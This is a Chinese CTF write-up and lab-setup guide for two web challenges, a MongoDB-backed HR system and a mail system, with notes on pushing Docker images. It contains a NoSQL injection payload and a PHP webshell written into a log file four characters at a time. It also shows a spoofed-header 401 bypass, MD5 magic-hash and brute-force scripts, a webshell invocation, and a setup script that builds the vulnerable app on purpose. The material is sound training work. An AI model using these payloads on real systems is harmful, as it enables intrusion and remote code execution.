docker push推送自己搭建的镜像

本文涉及的产品
云数据库 MongoDB,独享型 2核8GB
推荐场景:
构建全方位客户视图
简介: 本文详细介绍了如何搭建和复盘两个Web安全挑战环境:人力资源管理系统和邮件管理系统。首先,通过Docker搭建MongoDB和PHP环境,模拟人力资源管理系统的漏洞,包括nosql注入和文件写入等。接着,复盘了如何利用这些漏洞获取flag。邮件管理系统部分,通过目录遍历、文件恢复和字符串比较等技术,逐步绕过验证并最终获取flag。文章提供了详细的步骤和代码示例,适合安全研究人员学习和实践。

e51cca0dd9b33c89afecb2298aca25ba.png

Docker push命令使用 Docker镜像推送到远程仓库 Docker镜像推送Dockerhub_HaHa_Sir的博客-CSDN博客

Docker 镜像 重命名_docker镜像改名_微风--轻许--的博客-CSDN博客

Docker镜像推送(push)到Docker Hub_docker push_强大的石头的博客-CSDN博客

首先要将运行中的容器保存为镜像

image.png

我顺表还save打包了一个.tar文件,方便可以load载入。

但是第一次保存的命名格式不符合推送规范,所以决定tag一下:

image.png

然后即可推送了:

image.png

一个国赛环境的搭建转载自

https://mp.weixin.qq.com/s/nE3lPXWR0I3HfrFz-OnOHA

如有侵权联系删除

0x02 人力资源管理系统

2.1 复盘解析

首先访问首页就是一个展示

image.png

然后在robots.txt里面能看到一个nosql.php,然后这里就会给出第一个flag,因为是自己模拟就不写flag了

image.png

来到nosql.php之后会发现是一个登入页面

随便输一个账号密码登入失败

MongoDB 与 RDBMS Where 语句的比较

操作 格式 范例 RDBMS 中的类似语句
等于 { :} db.love.find({"name":"whoami"}).pretty() where name = 'whoami'
小于 { :{\$lt:}} db.love.find({"age":{\$lt:19}}).pretty() where age < 19
小于或等于 { :{\$lte:}} db.love.find({"age":{\$lte:19}}).pretty() where likes <= 19
大于 { :{\$gt:}} db.love.find({"age":{\$gt:19}}).pretty() where likes > 19
大于或等于 { :{\$gte:}} db.love.find({"age":{\$gte:19}}).pretty() where likes >= 19
不等于 { :{\$ne:}} db.love.find({"age":{\$ne:19}}).pretty() where likes != 19

这里随便选一个我这里就选\$gt也就是大于,大于某个数的值会被列出

nosql.php?username[$gt]=&password[$gt]=

可以看到这里列出了所有的用户名密码,然后在这里就会得到此题的第二个flag

image.png

查看源代码可以发现页面给了两个参数提示一个o一个hint

<?php $o = intval($_GET['o']);   $hint = $_POST['hint']; ?>

image.png

尝试传入o跟hint,可以发现我们传入的被写入跟执行了

image.png

o是要写入的位置,然后hint是写入的内容最多4个字符

image.png

那么这里写个shell进去,每写4个字符o都+4

o=1
hint=<?= 

o=5
hint=syst

o=9
hint=em($

o=13
hint=_GET

o=17
hint=[1])

o=21
hint=;//

到此就写入了一个shell

image.png

执行一下ls,然后cat 一下/flag即可得到第三个flag

image.png

nosql注入可以参考 https://xz.aliyun.com/t/9908

2.2 环境搭建过程

2.2.1 mongodb

首先pull mongodb 镜像

docker pull mongo:latest

然后启动mongodb ,注意这里启动的是无需认证的

docker run --name mongodb -d -p 27017:27017 mongo

image.png

然后进入容器

docker exec -it mongodb /bin/mongosh
这里我用的是: docker exec -it mongodb mongo

MongoDB 中选中 test 数据库,创建一个 users 集合并插入文档数据

use test
db.createCollection('users')
db.users.insert({username: 'mo60', password: '123456'})
db.users.insert({username: 'Juneha', password: '624522'})
db.users.insert({username: 'Jack', password: '468052'})
db.users.insert({username: '06om', password: '965379'})

2.2.2 php

这里pull一下php的镜像

docker pull bigtruedata/php-mongodb

然后启动容器

docker run -itd --name php-mongodb -v  ./php-www:/var/www/html -p 80:80  bigtruedata/php-mongodb

然后进入当前目录下的php-www目录,创建.sh文件内容如下运行即可生成所需文件,到此环境搭建过程结束

image.png

#!/bin/bash

read -p "请输入 MongoDB IP 地址: " mongodb_ip
if [[ ! $mongodb_ip =~ ^[0-9]+\.[0-9]+\.[0-9]+\.[0-9]+$ ]]; then
    echo "无效的 IP 地址!请重新运行脚本,并输入有效的 IP 地址。"
    exit 1
fi
robots_content="User-agent: *\nDisallow: /nosql.php"
log_content="<?php \$o = intval(\$_GET['o']);   \$hint = \$_POST['hint']; ?>"
php_content="<!DOCTYPE html>
<html>
<head>
  <title>登录</title>
  <style>
    body {
      font-family: Arial, sans-serif;
      background-color: #f2f2f2;
      margin: 0;
      padding: 0;
    }
    .container {
      display: flex;
      justify-content: center;
      align-items: center;
      height: 100vh;
    }
    .card {
      width: 450px;
      padding: 20px;
      border-radius: 5px;
      box-shadow: 0 2px 5px rgba(0, 0, 0, 0.1);
      background-color: #fff;
    }
    .card h2 {
      text-align: center;
      color: #333;
      margin-bottom: 20px;
    }
    .card table {
      width: 100%;
      border-collapse: collapse;
      margin-bottom: 20px;
    }
    .card table td {
      padding: 10px;
      border: 1px solid #ccc;
      font-size: 14px;
    }
    .card form input[type=\"text\"],
    .card form input[type=\"password\"] {
      width: 97%;
      padding: 10px;
      margin-bottom: 10px;
      border: 1px solid #ccc;
      border-radius: 3px;
      font-size: 14px;
    }
    .card form button {
      width: 100%;
      padding: 10px;
      border: none;
      background-color: #4CAF50;
      color: #fff;
      font-size: 14px;
      cursor: pointer;
    }
    .card form button:hover {
      background-color: #45a049;
    }
  </style>
    <!-- https://blog.mo60.cn/index.php/archives/2023-China-Skills-Security-web1.html -->
</head>
<body>
  <div class=\"container\">
    <div class=\"card\">
<?php 
if (isset(\$_REQUEST['username']) && isset(\$_REQUEST['password'])) {
    \$manager = new MongoDB\Driver\Manager(\"mongodb://$mongodb_ip:27017\");
    \$username = \$_REQUEST['username'];
    \$password = \$_REQUEST['password'];

    \$query = new MongoDB\Driver\Query(array(
        'username' => \$username,
        'password' => \$password
    ));

    \$result = \$manager->executeQuery('test.users', \$query)->toArray();
    \$count = count(\$result);

    if (\$count > 0) {
        echo '<h2>用户信息</h2>';
        echo '<table>';

        foreach (\$result as \$user) {
            \$user = ((array)\$user);
            echo '<tr><td>用户名:</td><td>' . \$user['username'] . '</td></tr>';
            echo '<tr><td>密码:</td><td>' . \$user['password'] . '</td></tr>';
        }

        echo '</table>';
        \$o = intval(\$_GET['o']);
        \$hint = substr(\$_POST['hint'], 0, 4);
        \$file = 'nosql.log';

        if (!empty(\$o) && !empty(\$hint)) {
            \$contents = file_get_contents(\$file);
            \$part1 = substr(\$contents, 0, \$o);
            \$part2 = substr(\$contents, \$o + strlen(\$hint)); 
            \$newContents = \$part1 . \$hint . \$part2;
            file_put_contents(\$file, \$newContents);
        }

        if (file_exists(\$file)) {
            echo file_get_contents(\$file);
            include \$file;
        }
    } else {
        echo 'Login Failed';
    }
} else {
    echo '<h2>登录</h2>';
    echo '<form action=\"\" method=\"get\">';
    echo '<input type=\"text\" name=\"username\" placeholder=\"用户名\" required><br>';
    echo '<input type=\"password\" name=\"password\" placeholder=\"密码\" required><br>';
    echo '<button type=\"submit\">登录</button>';
    echo '</form>';
}
?>

    </div>
  </div>
</body>
</html>"
html_content="<!DOCTYPE html>
<html>
<head>
  <meta charset=\"UTF-8\">
  <title>人力资源管理系统</title>
  <style>
    body {
      font-family: Arial, sans-serif;
      margin: 0;
      padding: 20px;
      background-color: #f2f2f2;
    }

    h1 {
      text-align: center;
    }

    .container {
      max-width: 600px;
      margin: 0 auto;
      background-color: #fff;
      padding: 20px;
      border-radius: 5px;
      box-shadow: 0 2px 5px rgba(0, 0, 0, 0.1);
    }

    p {
      line-height: 1.5;
    }
  </style>
</head>
<body>
  <div class=\"container\">
    <h1>欢迎来到人力资源管理系统!</h1>
  </div>
</body>
</html>"
echo "https://blog.mo60.cn/index.php/archives/2023-China-Skills-Security-web1.html"
echo -e "$robots_content" > robots.txt

if [ -e robots.txt ]; then
    echo "robots.txt 写入成功!"
else
    echo "robots.txt 写入失败!"
fi

echo "$log_content" > nosql.log

if [ -e nosql.log ]; then
    echo "nosql.log 写入成功!"
    chmod 777 nosql.log
else
    echo "nosql.log 写入失败!"
fi

echo -e "$html_content" > index.html

if [ -e index.html ]; then
    echo "index.html 写入成功!"
else
    echo "index.html 写入失败!"
fi

echo "$php_content" > nosql.php

if [ -e nosql.php ]; then
    echo "nosql.php 写入成功!"
else
    echo "nosql.php 写入失败!"
fi

0x03 邮件管理系统

3.1 复盘解析

直接访问页面会跳401未授权,这里我试了XFF头啥的绕过无果

image.png

然后查看一下robots.txt发现提示了 weblogs_manage.php

image.png

访问了一样跳401未授权,这里我就用了dirbuster的大目录字典扫出来一个emails

image.png

访问发现可以目录遍历

image.png

查看f1发现说因为编辑器备份文件泄露导致了安全漏洞

这里就想到了vim编辑器那个,这里下载 .weblogs_manage.php.swp文件(其实一开始尝试下载这个就行但是我一开始没想到这里提示了我才想起来)

wget 192.168.31.148/.weblogs_manage.php.swp

然后新建一个weblogs_manage.php在vim编辑按R恢复

touch weblogs_manage.php
vim weblogs_manage.php
R

即可成功恢复源码

这里主要代码是

<?php
error_reporting(0);
if(@$_SERVER['HTTP_INTERNAL_AUTH']!=="10.10.10.1"){
    header("Location: template/401.html");
    exit();
}
$key1=$_REQUEST['key1'];
if(!empty($key1)){
    require_once 'next.php';
    if(md5($key1)=="0e230420452993424058024229903331"){
        $key2=$_REQUEST['key2'];
        if(!empty($key2)){
            for($i=0;$i<strlen($key2);$i++){

                $o=ord($key2[$i])^ord('o');

                if($o=="95" || $o=="32"){
                    if(md5($key2)=="5bacf485801484d2ea1d0237782e6629"){
                        $key3=$_REQUEST['key3'];
                        if(!empty($key3)){
                            if($key3>$SECRET || strlen($key3)>=strlen($SECRET)){
                                if($key3==$SECRET){
                                    die($next); // log
                                }
                            }else{
                                die("CODE: 3 Error!");
                            }
                        }
                    }
                }else{
                    die("CODE: 2 Error!");
                }
            }
        }
    }else{
        die("CODE: 1 Error!");
    }
}
?>

首先需要绕过这个401

if(@$_SERVER['HTTP_INTERNAL_AUTH']!=="10.10.10.1"){
    header("Location: template/401.html");
    exit();
}

只需要在请求的时候带上,这个一开始是看其他请求头的格式首字母大写然后_改-尝试出来的,这样即可绕过401

Internal-Auth: 10.10.10.1

image.png

接下来需要传入\$key1-3来绕过限制,这里来到第一个\$key的限制,很明显是要一个md5加密后为0e的数字才能绕过

if(md5($key1)=="0e230420452993424058024229903331"

在比赛过程中没有网我也没有记这种特定的字符我就想到了拿php去跑一下试试看,还真的让我跑出来一个0e215962017

<?php
for($i=0;$i<9999999999999;$i++){
    $r="0e".$i;
    if(md5($r)=="0e230420452993424058024229903331"){
        die($r);
    }
}

image.png

这里就成功过了第一个\$key的限制

image.png

第二个\$key的限制比较麻烦,需要每一位^ord('o')后等于95或者32

for($i=0;$i<strlen($key2);$i++){
    $o=ord($key2[$i])^ord('o');
    if($o=="95" || $o=="32"){
    if(md5($key2)=="5bacf485801484d2ea1d0237782e6629"){xxxxx}
    }

这里我先遍历了所有字符看什么字符^后等于95 32 得到0O

<?php
for($i=32;$i<133;$i++){
    $o=$i^ord('o');
    if($o=="95" || $o=="32"){
        echo chr($i);
    }
}

那么就是由0O组成的字符串md5加密后要等于5bacf485801484d2ea1d0237782e6629

image.png

这里我的思路就是去生成字典,然后我就去翻kali的字典生成工具,因为以前用过然后就找到了crunch

image.png

直接生成1-16位 0O组成的字典

crunch 1 16 0O  > dict

image.png

这里用php去遍历每一个值然后判断,这里要加trim不然结尾有空格会一直对不上,我在这里卡了1个多小时最后才发现是这个问题,运行后得到0O0OO0O0O0O0OOO0到这里第二个\$key也过了

image.png

<?php

$data=file('dict');

foreach($data as $k=>$v){
    if(md5(trim($v))=="5bacf485801484d2ea1d0237782e6629"){
        echo $v;
        break;              
    }
}

?>

接下来就是有点难度的\$key3,他这里的条件是需要我们传入的\$key3等于他的\$SECRET这里的\$SECRET来自于上面的require_once 'next.php',其实原题不止这个条件有给出根据一个算法加密后的\$SECRET我不记得那个算法了,我们当时也不是解出算法的方式获取\$SECRET的这里就不在概述

if($key3>$SECRET || strlen($key3)>=strlen($SECRET)){
if($key3==$SECRET){
    die($next); // log
}

这里其实可以忽略第二个条件也就是strlen的长度比较只需要看\$key3>\$SECRET这个条件,因为php里面两个字符串比较是一位一位比较的具体解释我这里用chatgpt的回答

当比较php中两个字符串变量key3和key3和SECRET的大小时,可以使用大于号(>)进行比较操作。具体流程如下:

1.获取变量key3和key3和SECRET的字符串值。
2.将这两个字符串按字典顺序逐个字符进行比较,直到找到第一个不同的字符为止。
3.如果key3中的当前字符的key
ASCII码大于key3中的当前字符的ASCII码大于SECRET中对应位置上的字符的ASCII码,则key3大于key3大于SECRET。
4.如果key3中的当前字符的keyASCII码小于key3中的当前字符的ASCII码小于SECRET中对应位置上的字符的ASCII码,则key3小于key3小于SECRET。
5.如果key3和key3和SECRET中的字符完全相同,则比较下一个字符。
6.如果其中一个字符串比另一个字符串短,则较短的字符串被认为是较小的。
7.如果两个字符串完全相同,则认为它们是相等的。
8.比较过程结束后,根据比较结果返回布尔值(true或false),表示key3是否大于key3是否大于SECRET。

也就是我们可以通过一位一位的比较来获取正确的SECRET,比如这里我们输入1提示CODE3错误

image.png

输入2也错误输入3页面正常,那么得到第一位是2

image.png

接下来可以用burp的Intruder模块来一位一位爆破出来,像这里爆破第一位字母有3个字母页面都为ture返回正常这里查一下ascii可以发现x是最小的x的前一位是w那么第五位就是w

image.png

最终算出key3等于2023welc0me,传进去后得到一个txt地址/security_log_/log.txt

image.png

访问日志是一大堆乱糟糟的日志

image.png

注意!!我做到这里比赛结束了后面的内容是我自己想的,可能跟真实比赛有出入仅供参考

把日志下载到本地然后grep正则提取出访问的文件内容

grep -oP '(?<=POST|GET)\s\S+(?= HTTP)' log.txt

image.png

然后burp批量访问一下通过aEahcEeh.php?oTGGW=zsqBtOR得到了flag-1

image.png

然后paObZJkw.php?SjSMeB=wUWp发现是404但是是页面返回的是"There is nothing here."猜测是被入侵后留下的shell

image.png

这里最后通过测试发现传入base64的值即可执行代码

paObZJkw.php?SjSMeB=cGhwaW5mbygpOw==

image.png

然后cat /flag 结束

3.2 环境搭建过程

先起一个php的容器

docker run -d -p 80:80 --name emails -v $(pwd)/mail-web:/var/www/app romeoz/docker-nginx-php:5.6

然后改一下nginx的配置文件设置成目录遍历

docker exec -it emails sed -i '/root \/var\/www\/app;/a autoindex on;\nautoindex_exact_size off;\nautoindex_localtime on;' /etc/nginx/sites-enabled/app.conf

然后重新启动nginx

docker exec -it emails  nginx -s reload

image.png

相关实践学习
MongoDB数据库入门
MongoDB数据库入门实验。
快速掌握 MongoDB 数据库
本课程主要讲解MongoDB数据库的基本知识,包括MongoDB数据库的安装、配置、服务的启动、数据的CRUD操作函数使用、MongoDB索引的使用(唯一索引、地理索引、过期索引、全文索引等)、MapReduce操作实现、用户管理、Java对MongoDB的操作支持(基于2.x驱动与3.x驱动的完全讲解)。 通过学习此课程,读者将具备MongoDB数据库的开发能力,并且能够使用MongoDB进行项目开发。 &nbsp; 相关的阿里云产品:云数据库 MongoDB版 云数据库MongoDB版支持ReplicaSet和Sharding两种部署架构,具备安全审计,时间点备份等多项企业能力。在互联网、物联网、游戏、金融等领域被广泛采用。 云数据库MongoDB版(ApsaraDB for MongoDB)完全兼容MongoDB协议,基于飞天分布式系统和高可靠存储引擎,提供多节点高可用架构、弹性扩容、容灾、备份回滚、性能优化等解决方案。 产品详情: https://www.aliyun.com/product/mongodb
相关文章
|
2天前
|
存储 JSON 数据格式
docker load 后镜像名称为空的问题解决
Docker在容器化应用程序时提供了强大的镜像管理功能,但也可能在某些操作中遇到如镜像名称为空的问题。通过理解问题的成因并采取适当的解决方案,如正确保存和加载镜像、手动修复标签等,可以有效避免和解决这一问题。通过本文提供的指导,您可以确保在使用Docker进行镜像操作时更为顺利,并提高容器管理的效率。
93 82
|
4天前
|
SQL Linux 数据库
YashanDB Docker镜像制作
本文介绍了使用Docker部署YashanDB数据库的方法及其优势。相比传统部署方式,Docker简化了环境配置,实现一键部署,确保软件在不同环境中一致运行。文章详细讲解了数据库镜像与容器的概念、Dockerfile的构建流程,以及如何通过Dockerfile定制YashanDB镜像。此外,还演示了镜像的发布过程,包括推送至阿里云容器镜像服务(ACR)。最后,探讨了容器启动时的初始化脚本设置和数据文件复用方法,满足客户对数据库自动化初始化和数据持久化的需求。
|
21天前
|
存储 运维 应用服务中间件
Docker Image即Docker镜像
Docker 镜像是 Docker 容器的基础,包含了运行应用程序所需的一切。通过 Dockerfile 可以方便地创建自定义镜像,并且利用 Docker 提供的命令可以轻松管理和使用这些镜像。掌握 Docker 镜像的创建、管理和使用,是进行容器化应用开发和部署的基础技能。希望本文能帮助读者更好地理解 Docker 镜像的概念和操作,提高开发和运维效率。
88 13
|
1月前
|
消息中间件 Kafka 流计算
docker环境安装kafka/Flink/clickhouse镜像
通过上述步骤和示例,您可以系统地了解如何使用Docker Compose安装和配置Kafka、Flink和ClickHouse,并进行基本的验证操作。希望这些内容对您的学习和工作有所帮助。
191 28
|
2月前
|
Ubuntu NoSQL 开发工具
《docker基础篇:4.Docker镜像》包括是什么、分层的镜像、UnionFS(联合文件系统)、docker镜像的加载原理、为什么docker镜像要采用这种分层结构呢、docker镜像commit
《docker基础篇:4.Docker镜像》包括是什么、分层的镜像、UnionFS(联合文件系统)、docker镜像的加载原理、为什么docker镜像要采用这种分层结构呢、docker镜像commit
259 70
|
21天前
|
JavaScript Shell C#
多种脚本批量下载 Docker 镜像:Shell、PowerShell、Node.js 和 C#
本项目提供多种脚本(Shell、PowerShell、Node.js 和 C#)用于批量下载 Docker 镜像。配置文件 `docker-images.txt` 列出需要下载的镜像及其标签。各脚本首先检查 Docker 是否安装,接着读取配置文件并逐行处理,跳过空行和注释行,提取镜像名称和标签,调用 `docker pull` 命令下载镜像,并输出下载结果。使用时需创建配置文件并运行相应脚本。C# 版本需安装 .NET 8 runtime。
104 2
|
1月前
|
网络协议 Linux 网络安全
docker centos镜像 npm安装包时报错“npm ERR! code ECONNRESET”
通过上述步骤,您可以有效解决在 Docker 中使用 CentOS 镜像安装 npm 包时遇到的 "npm ERR! code ECONNRESET" 错误。希望这些方法能帮助您顺利进行 npm 包的安装。
158 26
|
2月前
|
存储 Docker 容器
Docker-基础(数据卷、自定义镜像、Compose)
通过数据卷实现持久化存储,通过自定义镜像满足特定需求,通过Docker Compose方便地管理多容器应用
107 27
|
2月前
|
Ubuntu NoSQL Linux
《docker基础篇:3.Docker常用命令》包括帮助启动类命令、镜像命令、有镜像才能创建容器,这是根本前提(下载一个CentOS或者ubuntu镜像演示)、容器命令、小总结
《docker基础篇:3.Docker常用命令》包括帮助启动类命令、镜像命令、有镜像才能创建容器,这是根本前提(下载一个CentOS或者ubuntu镜像演示)、容器命令、小总结
228 6
《docker基础篇:3.Docker常用命令》包括帮助启动类命令、镜像命令、有镜像才能创建容器,这是根本前提(下载一个CentOS或者ubuntu镜像演示)、容器命令、小总结
|
2月前
|
存储 Docker 容器
Docker-基础(数据卷、自定义镜像、Compose)
通过数据卷实现持久化存储,通过自定义镜像满足特定需求,通过Docker Compose方便地管理多容器应用。掌握这些Docker基础概念和操作,可以显著提高开发和部署效率,确保应用程序的可移植性和可扩展性。
90 22